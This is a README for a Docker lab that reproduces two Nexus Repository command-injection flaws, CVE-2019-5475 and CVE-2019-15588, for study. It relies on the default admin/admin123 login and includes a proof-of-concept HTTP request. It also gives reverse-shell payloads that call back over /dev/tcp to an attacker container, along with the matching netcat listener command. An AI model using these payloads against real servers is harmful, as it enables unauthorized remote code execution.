CVE-2019-5475 与 CVE-2019-15588 靶场: RCE 命令注入漏洞
CVE-2019-5475 是 Nexus 关于内置插件 Yum Repository 的 RCE 命令注入漏洞,其最早被披露于 hackerone,但因官方第一次修复不完整,故又衍生出了 CVE-2019-15588 漏洞。
这两个漏洞都需要以 admin 身份登录后才可以利用,但是 nexus 默认管理员密码 admin123 经常被忽略修改,很容易就被利用了。
CVE-2019-5475
├── nexus-yum-core .......... [用于 debug 的 Maven 项目:模拟在 nexus GUI 输入 createrepo 或 mergerepo]
├── nexus ................... [Nexus 容器的数据挂载目录]
├── attacker ................ [攻击者机器的构建目录]
│ └── Dockerfile .......... [攻击者机器的 Docker 构建文件]
├── docker-compose.yml ...... [Docker 的构建配置]
├── imgs .................... [辅助 README 说明的图片]
└── README.md ............... [此 README 说明]
- 宿主机预装 docker 和 docker-compose
- 下载本仓库: git clone https://github.com/lyy289065406/CVE-2019-5475
- 打开 Nexus 构建目录:
cd CVE-2019-5475
- 构建并运行 Nexus:
docker-compose up -d
- 约 5 分钟后可从浏览器访问 Nexus (BasicAuth 为
admin/admin123
),其中:
Nexus | CVE | URL |
---|---|---|
2.14.9 | CVE-2019-5475 | http://127.0.0.1:8009/nexus |
2.14.14 | CVE-2019-15588 | http://127.0.0.1:8014/nexus |
此靶场还搭建了一台攻击机 172.168.50.2,处于与两台靶机相同的网络环境,其作用是用于验证反弹 shell
使用 admin 登录 http://127.0.0.1:8009/nexus/#capabilities,在 Administration -> Capabilities -> Yum: Configuration -> Settings
可以找到 RCE 注入点。
输入框 Path of "createrepo"
和 Path of "mergerepo"
均可被注入,执行结果可以从 Status
查看。
例如在 createrepo
注入点构造 PoC bash -c id || python
,即可从 Status
得到命令 bash -c id
的执行结果 uid=200(nexus) gid=200(nexus) groups=200(nexus)
。
通过 BurpSuite 可截获到对应 PoC 请求为:
PUT /nexus/service/siesta/capabilities/RANDOM_ID HTTP/1.1
Host: 127.0.0.1:8009
accept: application/json
Content-Type: application/json
Authorization: Basic YWRtaW46YWRtaW4xMjM=
Connection: close
{"typeId":"yum","enabled":true,"properties":[{"key":"createrepoPath","value":"bash -c id || python"}],"id":"RANDOM_ID"}
这个注入点可以很轻易被利用于构造反弹 shell :
- 登录攻击机:
docker exec -it -u root docker_attacker /bin/bash
- 利用 netcat 监听反弹:
nc -lvvp 4444
- 在上述
createrepo
注入点构造 payload:bash -c $@|bash 0 echo bash -i >&/dev/tcp/172.168.50.2/4444 0>&1 || python
注入位置与 CVE-2019-5475 相同,调整 PoC 为: /bin/bash -c id || /createrepo
此漏洞可以使用相同的方法反弹 shell :
- 登录攻击机:
docker exec -it -u root docker_attacker /bin/bash
- 利用 netcat 监听反弹:
nc -lvvp 4444
- 在
createrepo
注入点构造 payload:/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/172.168.50.2/4444 0>&1 || /createrepo
nexus-yum-core 是 nexus 中关于这次漏洞利用的核心代码片段,主要用于从后端直接 debug 调试分析输入的 payload ,无需从源码搭建完整的 Nexus 服务。